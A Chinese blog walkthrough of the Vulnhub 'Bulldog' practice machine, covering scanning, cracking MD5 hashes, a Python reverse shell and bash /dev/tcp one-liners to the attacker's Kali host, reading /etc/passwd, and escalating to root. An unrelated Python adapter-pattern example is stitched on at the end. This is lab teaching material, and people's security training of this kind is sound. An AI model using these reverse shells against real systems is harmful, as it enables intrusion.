Vulnhub-Bulldog靶机实战

前言

首发在个人博客地址👉个人博客
文章地址文章地址

下载地址:https://www.vulnhub.com/entry/bulldog-1,211/

KALI地址:192.168.1.18

靶机地址:192.168.1.28

靶机提示

Description

Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out? 😃

This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!

Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint 😉

Made by Nick Frichette (frichetten.com) Twitter: @frichette_n

I’d highly recommend running this on Virtualbox, I had some issues getting it to work in VMware. Additionally DHCP is enabled so you shouldn’t have any troubles getting it onto your network. It defaults to bridged mode, but feel free to change that if you like.


一.信息收集

1.主机发现

使用命令如下,进行主机发现,并且发现了靶机

netdiscover -r 192.168.1.18

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k9rI7yhG-1648098304734)(/images/wordimage/2022/0322/netdis.png)]


2.扫描主机

使用nmap扫描命令如下

nmap -sV 192.168.1.28

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FPfTXvOL-1648098304736)(/images/wordimage/2022/0322/netdis.png)]

担心扫不全,使用如下命令在扫一次(~ ̄▽ ̄)~。

nmap -A -T4 -O -p 0-65535 192.168.1.28

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2oRCBhQj-1648098304737)(/images/wordimage/2022/0322/port.png)]

扫完发现,开放了23,80,8080端口,并且23号端口对应的是ssh端口,然后80和8080都是http服务,意味着我们可以直接在浏览器访问。

如下图直接访问的首页

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CdnV89sC-1648098304738)(/images/wordimage/2022/0322/index.png)]


3.目录扫描

使用命令如下

dirb http://192.168.1.28

发现能扫出来很多很多东西,发现主目录只有如下红色箭头的位置

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CuszvHUP-1648098304738)(/images/wordimage/2022/0322/dir.png)]


4.网页信息挖掘

首先进行简单的网页挖掘,比如查看网页首页源代码有什么东西,发现并没有什么东西👇

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GgFsD4sw-1648098304739)(/images/wordimage/2022/0322/index-2.png)]

同理,然后首页的Public Notice点进去也没有什么东西可以发现,所以需要转换目标,看向我们上面目录扫描出来的目录经过发现有admindev两个目录,如下图是访问admin目录的样子👇,发现是django框架,就不能用php的方式来了,猜测应该要暴力破解之类的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nw1SR2zm-1648098304740)(/images/wordimage/2022/0322/django.png)]

如下图是访问dev目录的样子。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D6rCcj2w-1648098304741)(/images/wordimage/2022/0322/dev.png)]


二.漏洞利用

1.残余信息收集

经过一番查找发现在dev下的网页源代码里面有猫腻如下图,一堆md5,还是这样对应的很难不想象,这些md5就是对应的这些账户的密码,所以可以拿去在线网站枚举。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oRUhgGU3-1648098304742)(/images/wordimage/2022/0322/md5.png)]

经过在线md5解密,发现能解出来的只有nict用户,如下图结果,所以得到一个信息,或者相反?

用户:nick

密码:bulldog

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-typLhNuQ-1648098304742)(/images/wordimage/2022/0322/nick.png)]

但是解sarah用户的md5能解出来,只不过。。。看下图就知道了2333,所以我应该换一个网站?

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G0Vnm4cZ-1648098304743)(/images/wordimage/2022/0322/sara.png)]

经过一番解密,在👉输入让你无语的MD5,这个网站解出来了,如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VxiEZ7p5-1648098304744)(/images/wordimage/2022/0322/somd5.png)]

所以又得到一个信息如下

用户:sarah

密码:bulldoglover

然后,我现在的想法是这些可不可以ssh连接?答案是当然不行(~ ̄▽ ̄)~,转换思路,刚才不是发现了一个django登录页面呢,万一可以进去呢,答案是当然可以,确实能进去,但是啥也不能干啊,两个用户都能进去,如下两张图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zpmRHZ3m-1648098304745)(/images/wordimage/2022/0322/nicklogin.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j7d4A9Yu-1648098304746)(/images/wordimage/2022/0322/sarahlogin.png)]

又要转换思路了,进去啥也不能干啊,于是在dev目录下找到了一个shell控制台如下图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wDxFzUe7-1648098304746)(/images/wordimage/2022/0322/shell.png)]


2.反弹shell

既然可以执行命令了那么猜测也可以执行反弹shell之类的,这里使用python来反弹shell,因为网站是用的是django来搭建的,代码如下

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.18","6666"))
os.dup(s.fileno(),0)
os.dup(s.fileno(),1)
os.dup(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

这里我保存为shell.py文件,然后在Kali上面使用apache开启一个简单的http服务器,kali自带apache,开启命令如下。

service apache2 start

然后就可以通过IP地址来访问kali的web网页了,之后我们需要做的是把python文件放在网站目录下面,如下图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2YXIHhfl-1648098304747)(/images/wordimage/2022/0322/shellpy.png)]

之后就可以在上面找到的执行shell命令的地方下载我们刚才准备的python文件了,如下图,下载成功。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lVQZ4vfA-1648098304748)(/images/wordimage/2022/0322/wgetshell.png)]

然后我们在KALI开启监听,然后回到网站运行python即可。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eRWhV6CP-1648098304749)(/images/wordimage/2022/0322/nclnvp.png)]

如下图执行反弹脚本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C3xCZmTB-1648098304749)(/images/wordimage/2022/0322/pythonshell.png)]

kali接收反弹获得shell,如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kuHZe0So-1648098304750)(/images/wordimage/2022/0322/succshell.png)]


2.1另外一种反弹shell的方法

可以使用bash反弹的方法,最经典的就是如下反弹shell命令

bash -i >& /dev/tcp/192.168.1.28/6666 0>&1

经过测试,在控制台输入如下命令能成功反弹,echo命令反弹

echo "bash -i >& /dev/tcp/192.168.1.18/6666 0>&1" | bash

如下图可以成功反弹没有报错。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z1QMUobL-1648098304750)(/images/wordimage/2022/0322/shellnc.png)]


3.提权

我们进入了系统就需要提权,首先查看有那些用户命令如下

cat /etc/passwd

然后发现,有djangobulldogadmin两个用户,直接去home目录查看是否有什么东西。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KowlNNOc-1648098304751)(/images/wordimage/2022/0322/users.png)]

经过一番查找django用户没啥东西可以利用,但是在bulldogadmin目录下面发现了隐藏文件,如下图。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jz4DgnL8-1648098304752)(/images/wordimage/2022/0322/yincang.png)]

然后进入.hiddenadmindirectory这个隐藏目录然后里面有两个文件一个是note一个是customPermissionApp,其中note只是一封信,没有什么可以利用的东西customPermissionApp打开是一堆乱码,这里使用strings打开,内容如下图,发现了东西类似于密码,然后去掉H。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V9hjnmiv-1648098304752)(/images/wordimage/2022/0322/password.png)]

去掉H之后就是SUPER ultHimate PASSWORD you CANT get的字样,为什么这样?因为猜的,纯靠猜。

SUPERultHimatePASSWORDyouCANTget

然后直接切换到root用户,发现切换不了,那就更换shell。

python -c "import pty; pty.spawn('/bin/bash')"

然后输入命令切换到root用户,并且输入上面得到的密码SUPERultimatePASSWORDyouCANTget

sudo su

如下图,发现可以切换到root用户,提权结束。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zUsS28Jb-1648098304753)(/images/wordimage/2022/0322/root.png)]


三.总结

纯纯靠猜,到后面提权看了一下别人的WP,我就懵逼了,我就想知道是什么样的人才知道那一串是密码,是怎么看出来的。。。。可能还是自己太菜了,加油吧!( ̄︶ ̄)↗ 。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是双向适配器类图和实现代码: ![adapter-pattern](https://user-images.githubusercontent.com/45758449/116464798-0e07c280-a89d-11eb-8b3e-7c3a88b9c7d9.png) ```python # Target interface class Cat: def catch_mice(self) -> str: pass # Adaptee interface class Dog: def bark(self) -> str: pass # Adaptee class Bulldog(Dog): def bark(self) -> str: return "Woof! Woof!" # Adapter class DogAdapter(Cat): def __init__(self, dog: Dog): self.dog = dog def catch_mice(self) -> str: return self.dog.bark() # Client code if __name__ == "__main__": bulldog = Bulldog() cat = Cat() adapter = DogAdapter(bulldog) print(adapter.catch_mice()) # Output: Woof! Woof! ``` 在上面的代码中,我们有一个Target接口 `Cat`,它定义了一个`catch_mice()`方法,表示猫抓老鼠。我们还有一个Adaptee接口`Dog`,它定义了一个`bark()`方法,表示狗叫。`Bulldog`是`Dog`接口的一个具体实现。 现在我们需要一个适配器类`DogAdapter`来使得猫可以学狗叫。它实现了`Cat`接口,并将`Dog`对象作为适配器构造函数的参数。在`catch_mice()`方法中,它调用`Dog`对象的`bark()`方法来模拟狗叫声。 在客户端代码中,我们创建了一个`Bulldog`对象和一个`Cat`对象。然后我们创建了一个`DogAdapter`对象,并将`Bulldog`对象传递给它。最后,我们通过适配器对象调用`catch_mice()`方法,并输出适配的结果。 这就是双向适配器模式的一个简单实现。当然,你可以根据自己的需求和场景来进行改进和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值